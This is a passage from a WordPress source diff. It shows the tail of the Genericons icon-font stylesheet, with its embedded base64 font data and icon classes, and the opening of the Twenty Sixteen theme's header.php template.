tLOYjCVIsbNwIOCkhD2HXkx5fl1cZChpxLrUoqasioxHxS16iZ4mqK0PowJRAnU/VFUJy1JC4RJ1xRO8DMK0KYebmya/s8bSb0AwqFij4pxQETyNVRLcDtTnDn9X5QnJGajr4H3rYpwblaQJZdwohqdhm5g+MmFPOowc1Wb6oZ7OvHtuO5vVmF+/pwGU6GnYM37Q9DVzFsh3NQWi+qY5Xx8zYaZ6tXo1tseNCAcOQB2tRYA4qAFvPt+jUyFurx+BsAt/Fsrmpk6VNzUGvTnWYcLX+4WyA/6uwIFCs7lwf+rkgQCG/cIwnspfU5pnDIWnS88dSJ3c7/cfKGptLTwglGHwoL9rYG1ynC8gJdh3KqCUZjv15W7JjOyOIM9HBEMJhdhHNGq6+9n0+oFhkLVzdd/q9Ue+PLKenQAb/LfVmSe4dHY9eze8mX64fv2AfTpdFm/pBcWRdFGoXtgtUY9NNsHfvlVmauxAngZBE1dT07fKpd+cq5VhsG2cr7cSUsFtVza2FeOJMjj6gXqIOIw4UGzpCv+mOkomIb6S+jf14vKNQKWBKO+QXKxTKaJbNdv/Z9AWNEIMqyIagXe8EZi2FUNVI8aNjgLnXYifMpyl8hL6JfKeL5dSBc4shRwYCjl+WEu3Tnrl3Zcn0lvh8kmvrFjxypQUYWauU/SlhRxbZXyTypf09CyDM3BmWU9PXyVcAT2TZ0yfTG+lW/EKL+3RXzglRDk6n1dn5ofh46uOgDcIjDWyuiOtjDNLeByCFgcE46whqEtk8N7PmSM2KK7zTYkUeWC/ckoAWMBbcucvdm2/qH3FK0lY+8fQdWfJdRpt5M268//eSG3h1YC3u257eAVvWsuaEaf2rEDIgf2eoj2nhJN0L2vTlO3e6ZPhinfhQ54DvMoauDf1Fm/4V13LeRNfWrNgJQdjEBho6b4S2P/M7IX1MwIKo15IaLSX9mqQ4CdIyBfcayxNen+R29HPz8NA+nrFhNbX29eriQl+EhPqBfcaS8PmqJaWKxbEsyjzcLFVGqJ+ziLsKutBhlWIVHJ4wPgZPveTiQ44mo49ySgg0DCB4OxPA76mg4+eQuGJEYoOIOjiX2+KqyACXjMH5w1QirxhBzGy9WrBP5CLQSW0/BD1U/8hWi5M3L9f+jE9mPoUJtL9ggPaQHCkPmXYovMFDbs2i692BN4gMxqj1Ne0PqKJuGAUBpiUGahTvdBLE+f4MeMLRu6TZAT8M3kYi0jhT8TfGQxzF5pedmJVJRLvv16lF98zkDzGdIwCW90OHIoaQfXjfMQ+6u3TaELUUo8vEGak9moLEgs0mIThBQqW3qdBL7acPetbwJ/lskdp/oS5syE2Ztx8VOQ5jPYgDCVS/E1WFegdjDc5uLY5g+a+Gp6IUO4z1aMYcwLeZEGgCnxmphyhmAWi7zm09ZMjdPfvj8I2mAYlr67qJ/Me/Jx+TA880b23G//kjLvE72HREZGsepX+lT5JLz/6BCSh6PMH5/VpPB2X7f3fADEo6ovYG07uo+JCecJ1UlyiLcgsBpZmMXgs6luVeZErZnxzunVZs8PhE76u7L68u5L+H193f4zQj8LC3LHa/LgvMbNrmPTO2AkTxp45ylcVRNmeAQ5MZp/BhtgQ1nkNQwXUXeJc3+RIhqCG6Oth0GB3sMYH1ZAgcBqleJnHFv1tkv7mpVkPbm0E1AoC0S2TmIMOHqi+JmH4S9d/MofFg2/G4i95YyWcSo8dD7U3AWoT/tjwU0IZ28h47PiSOSwCyutLaS3vPd3fivsxVWa8mPLAyzg9Liu7m7sz+bwDTkt8rXGazJ2XOIJrLLRmytRuXDcauzLXpZR2NcP2qxk2MD8lQZuypntqmmy9TJvZnUA2snUBP1HY3Mgjhbp/HIKnyrA+GjGjClHAii+wi+VccsyZSpfT5VPn7IR9Nz733I2Ys0qYNFl7DB/AXVOPrd0FWSnnc2B4jjlTMTxbwPBMPsmWEJIJH8QdMucl9KR2Uj65IEVgr9aLY4Vz1EAGuBQpwsFi48WuBvI10Q82k3GZ4pHionAQZ7CQIZhHEFd1HrMLO0w4iKwJzALi8JjKcIJxDwMTTn34y18E7ZOa0f4/PnTz6UcXrZc3DVs69i8pzfLO+KlLnljF4pRSvP8k1L1xzNP0b1X0jH3zqyDeugvsdPKlrz48Dt+3vDP215euPbKtFBR8SFNMJxGxrZLGW8OWpcb87tL1ZPjDOoG1j89EfzrFWVRP+vC9PsKd3RjSzBASBtZnKtczy9gq5/wgfQGHlN7vM6fXizCM/gu2a9QCa6UH04HuvlE4Mdgw/H33mjW718j30zLEJyLsSZ3Sry0L2VOcPvTwGpbkPG6icj7L8IW7kg1emTL3HUNVCa+QPLceEYnTsSJ3IBu8GAnLisuUdN4ZphzXmTJJ4475gqs/7f2pM2Vd/Mhc8Hi4EEK1Ecmzz8TSCPu48Bj8B2nnRuZHmRFDNKGrA/ycwMqx5zgI/A3QX6T6ZZ9OjCVOm5lE0nM9yzVK5oTKCB0j4kRlumgJ12d1cRiJNUHajsVtTNw+OWizT1UPb2xdVxV67vI9pwolwvWyHWWejYfD1Us3nNrT0srXpqaCKqf9Ye1Wxr+DbGEEA5ERbCdNRFquHEwmP207mqQN9CS8Bm1tnyaPt83e20/2yruSx/ARjKcN4GaPjuNdW2rHXiAMkIHJLpnRKPVc/4t6RWS9Qtym+Af5f+UnuKwRsPCoByQCn1PLLJjFXFTpL+THqYVaOmCWBrO4HRIX2B8UTX8H1zySWyS1EplFf8G8UGHWLGqRH++gv8B3O+BzrssnFFYPxuiYgASEiFRvCllNr8xksYDUJsHTMSxJsHRYFyMm41YCIYE/jQlsDKZ6B3wJRKwe88bEGSxyd9o+Pg8BVyhWTX+Gc5st0syzNE+QNe6STIwiq7zGSBmbAWeJoDsecx5fwG5kTfm2/ucjQZzZNShz4lwTJBl9jx3xsM03+D48SB/8vnthgEylMqE+7cLAgAN0xgP6e0K8awRuB+G2DFbnb+1iZ5CF4ZisG2T4WbeNMEMJs5718TiJObNo6dUu4qM0jvD8GX4FLsg/zASuzRcdVI4YZYownCtKYxlpmQI5K2NWwEyZqOExxfhcwQeYituv2xAydnCGM8U6FjN5Lqev4LEKCiOAIRBEfIc3iF/6cJBv+vQn/eQnn96kcODglnD9mnrzbvqvX5bSf0Ju6S8hm9FEoq97Ja3FMXxOAwBDq8Eg4IIBFJCwesz1FnDe8NZi43SHX0U5vLGqfVypDgoCVk3HLmBmGyZH8OJ2bzzsqHSlMeIc9pQPYI9ej+8rPe1JSDJ10If1/JI5HOnQ+R1lCtxfn/EqI7fgmdjWlkfl8hqBGDECFy3zLmf6JzNHpN6bKwToXIGNEMV1xy1yKMD38Qfn2bDymZgo5c4cePJFue86MKjFNP2MZbNhuUpNsdXI8gaUm/q6TY+5iY84kxBNyGrTs5nVLRCJc41F4apFIjN1+4hYX1/fd4TZo9hU0vT5fBZLi/80zjRNAdFyj7pAXUCq+M6K6ldUixpkRDFoCQTlINMf48G4HIuLcQeictwh2h1+h2rHseaT216vLmikv6tptm95Y4Sz5Y0ttqZa+rvGTwyGTxqhrrbJtuWNkdaRb9xqb6qFOhZNN3H4FU7fam+uOZdSzyA3O4E5NNfoST/RM771dcy4jGM3ucDGYEV9/rwvH4Ab+VWI+fnOaRyUC7+BkOo3n96yaYNweHwf4aHUmPHf+iAidWTL6c3jU2M2bGJX4fCGb/GH4nNypTyjVyCgstXPlrusc4eUfmEsCGGYsEkj4ezRY/XF/SaTwWx1n5srOo8y6SyRxWZEvUx0qGbceoBz8ZTsyxH965GBbxIyOK+7D4n48AwrnmTwftD+QyYtkiELm576dyB6iSkuIAa+nyCDvp/A0tLfT4jAHbwN34u5ZBDm6kbwNNalQRc7x4AAeEZfsXj+OgO6vKoixyOWv4LaFcNcjqnG84rxpH+DihPS4CoMFAm82rj0M0XzL1Gw/0UtUzy+hO1mrR+oxoXzznLhvJMym3TI1zy2MDK3C+edsExH+720V9v7rQlXz4vpSzJooWk5dl55ju/+wodx1m995ZMazFsvKOjskfP0yPPKCH93GfrONa4qB9+uZkDLfqUQjnIPqO8pH170t7ffsf/n825aUlHkLCyKjC52vmUyj5n+fXUSGhqndSdGXrR/XEFBia+k2Du0umpkg7fUaquOpH3hdZ1Xn9Xsp+K8YYYKjrknqRuHzQ0nL0jLEhpZ2hSOvESYwZ6lZcyHupk9I2MHYUzHTOz4RhgVg7AFj6DPb0HNLlzMggqjGimWeQe00/85UamlPuvgtkitYwTeybwu3I7JE6bDvO7/xPrkKtvYTgbTQFsEexnEW8CF0horv35CU/DGZ1+YcP/9E1741caK5gk4ZZeO+c1r97YMHXP33WOGttz7+ktj2Jwgl8BJdafixhWsfw3F7F8iqBbRwQzaQeGyE/Qo1Jw4Kh09cfToCag52/U1kK/lhm3IoRu2QQO8to2+Rl/bBq/RshaJtDCdjOunaTtQEdv9MQpRFLSoxX3LgTjKtTREubBJNxIpiCqsnX0oqges7lEm33UTrcxhhFnz8IRU9lwKbtMfMPp+ux6lP1wP2w+Xn/p3JWvkO8os+4EyLSj+g+oPldoHL8+lOw50/lDJOH1e7mSJGIqm56iMcgzLNRkF5rRgCqIIY/Y0k8CtngyARYJyaEfbc0v6OR7LCWYdpb18CrMPyujxHW0Tqabfp/0ldFzP4z7Vg3OVL8iLfMf752wPIuuTjCzycgdl0Weq5w4WHD0kPsnHrk4mV48dt6Il3ODzNYRbVozjMcB7SsaVxzRSdogDoUEYx/lRNrPSQBrEeYnMv9kT5Fv1wC0jDLgljS2shmHdKdLtDxcxNS/FxaPE51EfSW6Nr1lTPvfiem0wd+K2hguHlDkEurFzZE+Uf1qncEW4j583nwb76c1slxR5h3TeGGq6J6rG6SbTNwQiz8I2FBAn99f1cJRUVBt3QfF5mCmOQWglFOlBH8qkZV+uXr1w6sqFf/0NnQbk+iVz6uouXbt96YK3FG3smHuW3ZinFt20+r6nhV8NH9daWkpb6PFJU28jaTs6kTP7wz4xrHriYYsv7pFna19oFTRRwS6oXnKFikvOtM1b49wim2EQ6+eMYwmYgswRk7MLOJCWxzhxe/s5Vko6Xel7U0j0phaAm00QI/ezZv3KeIOR5HB/ZxuOIMp+i8ljYR8asNk2BEC3DKt+I6BKr+nKDWjf8DHTzS2gm5i1bzROhPFeThNjiqVnDC9shEHjLErjagYztmnny0kz+Y/zZZgjqKgjuLtlMF4j5EONMEJ1jIAyCNRAvhQcAY54cIQQCKoO/MsXWSK8RVkXR3jmCeP5QhnGYaAM8iGuloEazzcEK/HGEccMJYdaIyvMXdNRI48QkDiPEPBtScWkIuboyMdZd6GIzBPFLNnkEsjLkGhT8n1FhcMiFUEAWXbkWnL9geJRzsJch5xX6nCGC8XcGkOhrSJ/Yo9k9Ug2Q/OkZqUgJ2R3j3FdtuidJwO1bl+NSynJrk2Wx3ODxV6Lx2MszbYmY0PlvOxQgbMsz+fMcjsNhaFgnVLamD8kWIUKowEMcpYMTtc1726SsrJHubPUPIMh35rbHBTyLaPrvEaDx1BTWyY4Suoryk2CRxr6LcH9L0mxIMPum/zHp7LCRQaLTSyNueOq2ZdndfogS/VnNcdkVbD7so0VTtHuNNqz1ycFk5wlGLN8pc0em9VkMIH/ZsgxGBTVLDrkItvQfHOJN+AwmbPiVos9x1SgWixyvsliLXQ2O2srKt2uSqfRPKW2oNWUZcpxlIcWz/gJ7X+mPOeWEa3DSgqiLXK2Uc01Fxepdq9FrjMWZEuWxpGjyzplh8mpcBm6V3SrC6SMDfJbPH6Az/t+fcMNv75BFAdfpJM38Ougv7SfJLO79DJUxzlvIF9rYq84YK/BGwNbKyRqArEXUb8vwd6REnwvC+ORa/BYA+lLcDtOIr3PJXD+wqL1PAfbACpILRmmf6+sey4hJ/Po3y2nv5YxIWOLDYd0VHl6wUtpYodI08i/Ru4njWOZLtwYuPqmrh083KfvRQrJtMPI2LXeB5jc6NIkn3fdGIZ8oY5WB7WP29H1gHftWIyw87QHMoRZGdAtzv/2PS1LMps7me+4gejSpI8wBV5EAU55jMhAgmlOeFCSCQHnYXqY41ucY4BGcvX9EKOIOjEEWyS+Y+rzBiEaDCj5oDBfLodubiyDcyYaAp9igf/0+8EP3MtP/G0M2xGjBxPOTv9Ef5c/X9Dy/RjKdya0p6KBQNSvatSBtDPX3xWAclG2jZu+8QyNTkx2xaBNSzjzMbH+VheGOp2J1L/wJX+UkMHfEo4mE0k7mUeW8D2jtE9gC8SZU6DHNBDDfGzZ8A6KiHLlf2C0mdUHrxlQH/D8ueCqDgx1Mpoe9rGN/Sjx0kG2m5MOMiealD4N+tJq2vmX+fq484nwAJKqD9L3Y9Z5wZeMPpCeJ3j7wJ5TkJk2OJPoB6f2pMXKmeQgZTiZmTsC9skpNaH08v00ou/Lh42CiGzXwbZHM2tWfsS3plXMFmh3v84k6fH/Hsc9A/Cnb0TJPdEWoe+kwGcPqoOzerYxkxi7F36W3sETYBWuqZ/imvLwvRYH9w6Iu8BhYh7XgzrZFrb5TC2Q6WaZ3rGMPkCX0AeW3TH2lR5NS/edpvW8Qn+kd9OROY/+9s1H5rRdYoF/aQ+c64UHNJptWSqm0o0W0nOCkMk4H3SLVyX75tdcCqytwyESZFt85UFlIMIcDwR9ujUsEg+YeC3xoUtwtwjML47dFah2m98bCOreoI48QeWbBG/neucuCkQC18+lX+28h/5rzg14s3iOJ+9t9rS39D68XfrY5yB9/thSDO4qSWk7U8Pn/mNT5+M/aarY8mu+qTCybRnt38rzS5x49MpbNl/52HH9bivAsgmtmGTqgiMg6HHXY1aY5fX6He0/0tmh/WLzwpXhzsTcWyZnbF3aoL1swZNGC1nTTXps3TOeInHGwMaQMgSAAQ7AuI09bPJWAclCLcHqUO3EIb9+371H6eX0SfrXV1cJpOv5S6D+sBgOU7LqVSiBabDt6Ocnnn+a/m06r8OrOBca+f8FUcr9zjhX5CTaGg8rAjOvBoRg2AXumDR1z5o1UyJzws/2Wr98up88/aW11/EOFB8XtTVTBDJlTXhOhJKpBYfoF0PoF1AwBAoObT50KO3TLGJLB++pySS9p3buO2pHxoLDDZ+mwWE13SeDzpxAZc6MOn1XPKTfy+gJvL+zM9+Z6T/mLsDwltnSGbHWQ6y/+TduhNfNyHbRQPTIoh//PCIKMe654JHIOroVqtahHh25Eqro1nXHhMdT77yTOpE68U7qHeFx+WN6zx/onvffh4V/EFENodekboRb6DrhGrgx8917poyMP4SnGFCFH5TJsWOo7g96Mb0ZN7h++YPfFnklL8zjWKaK386MVrD6wbK07x7X1ezI8CuZ/cmIs4vtZnOc9nBvczbv1EAQYZk9hfq43cFs1gof036udnWxweCBueOHzLphj77r20f0O8q4MQcyLpaBpP/TkKZrF3Xq8ZSH4cLv9arJBLLoO7029Z3hgId9i8x2j+3hWJhv3NnjulJSnv5M2Wp31PNHkqPebhl4xp+EM0/s4njohol/27r1b3Q/vZ3uZyGxy+LKN+bn/Z3+NXb1xNEmk6nI6cz95SU//uKiXK2kPLiJPvPIuFunjA6HyhSn0vPLn0OgK8epuWrCd9Dr3+l7JBEO5Lvlx359GGZfXaRqg7OGiby4s8vykRcX5qlbTWaTIbvYbHPlOpsacj6qcTVYJ8/GEk3NJZGs3GDbqFxwRvxh57xZYduYQDg3MCWZc15fidybtIjNdh//TwL4ZrzoyzARWxxn7y6hZFffxcpwWk3v/+yvlChLzpyFiz+Fx+THaDUcYwccP/s8HcUIiPR6apQ45+yOY8c4DqVtSen95cHaJhPPusJznmcmV3XYyuQx/Pz/AAfdhq542o2QsWrDMBCGfyVOSjOUDn4AdSlJiY1sMCTZ0hQHQqcM6RyMahsSKVj2EChd+wgd+wZ9s7xDz4pKl0IrkO7T3a+73wZwhU8wnNcNHhwzDPDiuIMLvDvu4hYnxx4G7M5xD9fsyXGf8q+kZN4l3e7tq5YZfDw77tDcN8ddPOLDsQef+Y574Cxx3Kd8gQU0DjiiQokcBWpwDJFhRDGGQIQEY+IV6SQU0RwGezR0GpvBQh+OVZkXNR9mIx6LKBnzlZaKz82+MUaSZGmV0k7JqJOit1hKJasy04p4TcWcmu6wJRHWMm92W4LUimsbK1JIayskYxwz2r81PlciTBBgSvv7M5BqVae6yiWPQ8Fn/McAXaJJMA1a8/9wu7FFQ2Vtf4mwE0IbW2fYyMqUWnEholAIwf/u+QXtVlqxAAAAeNpt0meTFVUUheH7DhkJEgQJgpIFhdvn7NM9gxKGCZKzKGZyUHJGySAgSq7i5wrFfYdPdFXX+tRP9V61Wl2tt8//rdbh1vueV29eWl2tYXQxjOGMYCSjGM0YxvIB4xjPBCbyIZOYzBSm8hHTmM7HzGAms5jNJ8xhLp/yGfOYzwIWsojFLOFzlrKML/iS5aygTUUiExRqGrrpYSVf8TWrWM0a1tLLOvroZ4BBvmE9G9jIJjazha1sYzs72MkudvMte/iO79nLD/zIT/zML/zKb+xjPwc4yCEOc4SjHOM4v/MHJzjJKU5zhrOc4zwXuMglLnOFq/zJX1zjOje4yS1uc4e73ONv7vOAh/zDI/7lPx7zhKc84zkveDnqwsljg1W7bVZmMrMZZjFrszG7zZ63mfSSXtJLekkv6SW9pJf00pBX6VV6lV6lV+lVepVepVfpVXpJL+klvaSX9JJe6njZu7J3Ze/K3pW9K3tXbg9915id/wid0Amd0Amd0Amd0Il3TueesJ+wn7CfsJ+wn7CfsJ+wn7CfsJ+wn7CfsJ+wn7CfsJ+wn0h6SS/pZb2sl/WyXtbLelkv62W9rBd6oRd6oRd6oRd6oRd6oVf0il7RK3pFr+gVvaJX9IperVfr1Xq1Xq1X69V6tV6tV+s1eo1eo9foNXqNXtPxijsr7qy4s+LOijsr7qy0h75rzG6zx+w115l9Zr85YA520l0Wd1ncZXGXxV0Wd1ncZama1x+EcTsAAAAB//8AAnjaY2BgYGQAgosrjpwF0ZcUq9bCaABTzgdAAAA=") format("woff"),
+       url("./Genericons.ttf") format("truetype"),
+       url("./Genericons.svg#Genericons") format("svg");
+  font-weight: normal;
+  font-style: normal;
+}
+
+@media screen and (-webkit-min-device-pixel-ratio:0) {
+  @font-face {
+    font-family: "Genericons";
+    src: url("./Genericons.svg#Genericons") format("svg");
+  }
+}
+
+
+/**
+ * All Genericons
+ */
+
+.genericon {
+	font-size: 16px;
+	vertical-align: top;
+	text-align: center;
+	-moz-transition: color .1s ease-in 0;
+	-webkit-transition: color .1s ease-in 0;
+	display: inline-block;
+	font-family: "Genericons";
+	font-style: normal;
+	font-weight: normal;
+	font-variant: normal;
+	line-height: 1;
+	text-decoration: inherit;
+	text-transform: none;
+	-moz-osx-font-smoothing: grayscale;
+	-webkit-font-smoothing: antialiased;
+	speak: none;
+}
+
+
+/**
+ * Helper classes
+ */
+
+.genericon-rotate-90 {
+	-webkit-transform: rotate(90deg);
+	-moz-transform: rotate(90deg);
+	-ms-transform: rotate(90deg);
+	-o-transform: rotate(90deg);
+	transform: rotate(90deg);
+	filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);
+}
+
+.genericon-rotate-180 {
+	-webkit-transform: rotate(180deg);
+	-moz-transform: rotate(180deg);
+	-ms-transform: rotate(180deg);
+	-o-transform: rotate(180deg);
+	transform: rotate(180deg);
+	filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2);
+}
+
+.genericon-rotate-270 {
+	-webkit-transform: rotate(270deg);
+	-moz-transform: rotate(270deg);
+	-ms-transform: rotate(270deg);
+	-o-transform: rotate(270deg);
+	transform: rotate(270deg);
+	filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);
+}
+
+.genericon-flip-horizontal {
+	-webkit-transform: scale(-1, 1);
+	-moz-transform: scale(-1, 1);
+	-ms-transform: scale(-1, 1);
+	-o-transform: scale(-1, 1);
+	transform: scale(-1, 1);
+}
+
+.genericon-flip-vertical {
+	-webkit-transform: scale(1, -1);
+	-moz-transform: scale(1, -1);
+	-ms-transform: scale(1, -1);
+	-o-transform: scale(1, -1);
+	transform: scale(1, -1);
+}
+
+
+/**
+ * Individual icons
+ */
+
+.genericon-404:before { content: "\f423"; }
+.genericon-activity:before { content: "\f508"; }
+.genericon-anchor:before { content: "\f509"; }
+.genericon-aside:before { content: "\f101"; }
+.genericon-attachment:before { content: "\f416"; }
+.genericon-audio:before { content: "\f109"; }
+.genericon-bold:before { content: "\f471"; }
+.genericon-book:before { content: "\f444"; }
+.genericon-bug:before { content: "\f50a"; }
+.genericon-cart:before { content: "\f447"; }
+.genericon-category:before { content: "\f301"; }
+.genericon-chat:before { content: "\f108"; }
+.genericon-checkmark:before { content: "\f418"; }
+.genericon-close:before { content: "\f405"; }
+.genericon-close-alt:before { content: "\f406"; }
+.genericon-cloud:before { content: "\f426"; }
+.genericon-cloud-download:before { content: "\f440"; }
+.genericon-cloud-upload:before { content: "\f441"; }
+.genericon-code:before { content: "\f462"; }
+.genericon-codepen:before { content: "\f216"; }
+.genericon-cog:before { content: "\f445"; }
+.genericon-collapse:before { content: "\f432"; }
+.genericon-comment:before { content: "\f300"; }
+.genericon-day:before { content: "\f305"; }
+.genericon-digg:before { content: "\f221"; }
+.genericon-document:before { content: "\f443"; }
+.genericon-dot:before { content: "\f428"; }
+.genericon-downarrow:before { content: "\f502"; }
+.genericon-download:before { content: "\f50b"; }
+.genericon-draggable:before { content: "\f436"; }
+.genericon-dribbble:before { content: "\f201"; }
+.genericon-dropbox:before { content: "\f225"; }
+.genericon-dropdown:before { content: "\f433"; }
+.genericon-dropdown-left:before { content: "\f434"; }
+.genericon-edit:before { content: "\f411"; }
+.genericon-ellipsis:before { content: "\f476"; }
+.genericon-expand:before { content: "\f431"; }
+.genericon-external:before { content: "\f442"; }
+.genericon-facebook:before { content: "\f203"; }
+.genericon-facebook-alt:before { content: "\f204"; }
+.genericon-fastforward:before { content: "\f458"; }
+.genericon-feed:before { content: "\f413"; }
+.genericon-flag:before { content: "\f468"; }
+.genericon-flickr:before { content: "\f211"; }
+.genericon-foursquare:before { content: "\f226"; }
+.genericon-fullscreen:before { content: "\f474"; }
+.genericon-gallery:before { content: "\f103"; }
+.genericon-github:before { content: "\f200"; }
+.genericon-googleplus:before { content: "\f206"; }
+.genericon-googleplus-alt:before { content: "\f218"; }
+.genericon-handset:before { content: "\f50c"; }
+.genericon-heart:before { content: "\f461"; }
+.genericon-help:before { content: "\f457"; }
+.genericon-hide:before { content: "\f404"; }
+.genericon-hierarchy:before { content: "\f505"; }
+.genericon-home:before { content: "\f409"; }
+.genericon-image:before { content: "\f102"; }
+.genericon-info:before { content: "\f455"; }
+.genericon-instagram:before { content: "\f215"; }
+.genericon-italic:before { content: "\f472"; }
+.genericon-key:before { content: "\f427"; }
+.genericon-leftarrow:before { content: "\f503"; }
+.genericon-link:before { content: "\f107"; }
+.genericon-linkedin:before { content: "\f207"; }
+.genericon-linkedin-alt:before { content: "\f208"; }
+.genericon-location:before { content: "\f417"; }
+.genericon-lock:before { content: "\f470"; }
+.genericon-mail:before { content: "\f410"; }
+.genericon-maximize:before { content: "\f422"; }
+.genericon-menu:before { content: "\f419"; }
+.genericon-microphone:before { content: "\f50d"; }
+.genericon-minimize:before { content: "\f421"; }
+.genericon-minus:before { content: "\f50e"; }
+.genericon-month:before { content: "\f307"; }
+.genericon-move:before { content: "\f50f"; }
+.genericon-next:before { content: "\f429"; }
+.genericon-notice:before { content: "\f456"; }
+.genericon-paintbrush:before { content: "\f506"; }
+.genericon-path:before { content: "\f219"; }
+.genericon-pause:before { content: "\f448"; }
+.genericon-phone:before { content: "\f437"; }
+.genericon-picture:before { content: "\f473"; }
+.genericon-pinned:before { content: "\f308"; }
+.genericon-pinterest:before { content: "\f209"; }
+.genericon-pinterest-alt:before { content: "\f210"; }
+.genericon-play:before { content: "\f452"; }
+.genericon-plugin:before { content: "\f439"; }
+.genericon-plus:before { content: "\f510"; }
+.genericon-pocket:before { content: "\f224"; }
+.genericon-polldaddy:before { content: "\f217"; }
+.genericon-portfolio:before { content: "\f460"; }
+.genericon-previous:before { content: "\f430"; }
+.genericon-print:before { content: "\f469"; }
+.genericon-quote:before { content: "\f106"; }
+.genericon-rating-empty:before { content: "\f511"; }
+.genericon-rating-full:before { content: "\f512"; }
+.genericon-rating-half:before { content: "\f513"; }
+.genericon-reddit:before { content: "\f222"; }
+.genericon-refresh:before { content: "\f420"; }
+.genericon-reply:before { content: "\f412"; }
+.genericon-reply-alt:before { content: "\f466"; }
+.genericon-reply-single:before { content: "\f467"; }
+.genericon-rewind:before { content: "\f459"; }
+.genericon-rightarrow:before { content: "\f501"; }
+.genericon-search:before { content: "\f400"; }
+.genericon-send-to-phone:before { content: "\f438"; }
+.genericon-send-to-tablet:before { content: "\f454"; }
+.genericon-share:before { content: "\f415"; }
+.genericon-show:before { content: "\f403"; }
+.genericon-shuffle:before { content: "\f514"; }
+.genericon-sitemap:before { content: "\f507"; }
+.genericon-skip-ahead:before { content: "\f451"; }
+.genericon-skip-back:before { content: "\f450"; }
+.genericon-skype:before { content: "\f220"; }
+.genericon-spam:before { content: "\f424"; }
+.genericon-spotify:before { content: "\f515"; }
+.genericon-standard:before { content: "\f100"; }
+.genericon-star:before { content: "\f408"; }
+.genericon-status:before { content: "\f105"; }
+.genericon-stop:before { content: "\f449"; }
+.genericon-stumbleupon:before { content: "\f223"; }
+.genericon-subscribe:before { content: "\f463"; }
+.genericon-subscribed:before { content: "\f465"; }
+.genericon-summary:before { content: "\f425"; }
+.genericon-tablet:before { content: "\f453"; }
+.genericon-tag:before { content: "\f302"; }
+.genericon-time:before { content: "\f303"; }
+.genericon-top:before { content: "\f435"; }
+.genericon-trash:before { content: "\f407"; }
+.genericon-tumblr:before { content: "\f214"; }
+.genericon-twitch:before { content: "\f516"; }
+.genericon-twitter:before { content: "\f202"; }
+.genericon-unapprove:before { content: "\f446"; }
+.genericon-unsubscribe:before { content: "\f464"; }
+.genericon-unzoom:before { content: "\f401"; }
+.genericon-uparrow:before { content: "\f500"; }
+.genericon-user:before { content: "\f304"; }
+.genericon-video:before { content: "\f104"; }
+.genericon-videocamera:before { content: "\f517"; }
+.genericon-vimeo:before { content: "\f212"; }
+.genericon-warning:before { content: "\f414"; }
+.genericon-website:before { content: "\f475"; }
+.genericon-week:before { content: "\f306"; }
+.genericon-wordpress:before { content: "\f205"; }
+.genericon-xpost:before { content: "\f504"; }
+.genericon-youtube:before { content: "\f213"; }
+.genericon-zoom:before { content: "\f402"; }
+
+
+
+
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/header.php	(revision 56912)
@@ -0,0 +1,99 @@
+<?php
+/**
+ * The template for displaying the header
+ *
+ * Displays all of the head element and everything up until the "site-content" div.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+
+?><!DOCTYPE html>
+<html <?php language_attributes(); ?> class="no-js">
+<head>
+	<meta charset="<?php bloginfo( 'charset' ); ?>">
+	<meta name="viewport" content="width=device-width, initial-scale=1">
+	<link rel="profile" href="http://gmpg.org/xfn/11">
+	<?php if ( is_singular() && pings_open( get_queried_object() ) ) : ?>
+	<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
+	<?php endif; ?>
+	<?php wp_head(); ?>
+</head>
+
+<body <?php body_class(); ?>>
+<div id="page" class="site">
+	<div class="site-inner">
+		<a class="skip-link screen-reader-text" href="#content"><?php _e( 'Skip to content', 'twentysixteen' ); ?></a>
+
+		<header id="masthead" class="site-header" role="banner">
+			<div class="site-header-main">
+				<div class="site-branding">
+					<?php twentysixteen_the_custom_logo(); ?>
+
+					<?php if ( is_front_page() && is_home() ) : ?>
+						<h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1>
+					<?php else : ?>
+						<p class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></p>
+					<?php endif;
+
+					$description = get_bloginfo( 'description', 'display' );
+					if ( $description || is_customize_preview() ) : ?>
+						<p class="site-description"><?php echo $description; ?></p>
+					<?php endif; ?>
+				</div><!-- .site-branding -->
+
+				<?php if ( has_nav_menu( 'primary' ) || has_nav_menu( 'social' ) ) : ?>
+					<button id="menu-toggle" class="menu-toggle"><?php _e( 'Menu', 'twentysixteen' ); ?></button>
+
+					<div id="site-header-menu" class="site-header-menu">
+						<?php if ( has_nav_menu( 'primary' ) ) : ?>
+							<nav id="site-navigation" class="main-navigation" role="navigation" aria-label="<?php esc_attr_e( 'Primary Menu', 'twentysixteen' ); ?>">
+								<?php
+									wp_nav_menu( array(
+										'theme_location' => 'primary',
+										'menu_class'     => 'primary-menu',
+									 ) );
+								?>
+							</nav><!-- .main-navigation -->
+						<?php endif; ?>
+
+						<?php if ( has_nav_menu( 'social' ) ) : ?>
+							<nav id="social-navigation" class="social-navigation" role="navigation" aria-label="<?php esc_attr_e( 'Social Links Menu', 'twentysixteen' ); ?>">
+								<?php
+									wp_nav_menu( array(
+										'theme_location' => 'social',
+										'menu_class'     => 'social-links-menu',
+										'depth'          => 1,
+										'link_before'    => '<span class="screen-reader-text">',
+										'link_after'     => '</span>',
+									) );
+								?>
+							</nav><!-- .social-navigation -->
+						<?php endif; ?>
+					</div><!-- .site-header-menu -->
+				<?php endif; ?>
+			</div><!-- .site-header-main -->
+
+			<?php if ( get_header_image() ) : ?>
+				<?php
+					/**
+					 * Filter the default twentysixteen custom header sizes attribute.
+					 *
+					 * @since Twenty Sixteen 1.0
+					 *
+					 * @param string $custom_header_sizes sizes attribute
+					 * for Custom Header. Default '(max-width: 709px) 85vw,
+					 * (max-width: 909px) 81vw, (max-width: 1362px) 88vw, 1200px'.
+					 */
+					$custom_header_sizes = apply_filters( 'twentysixteen_custom_header_sizes', '(max-width: 709px) 85vw, (max-width: 909px) 81vw, (max-width: 1362px) 88vw, 1200px' );
+				?>
+				<div class="header-image">
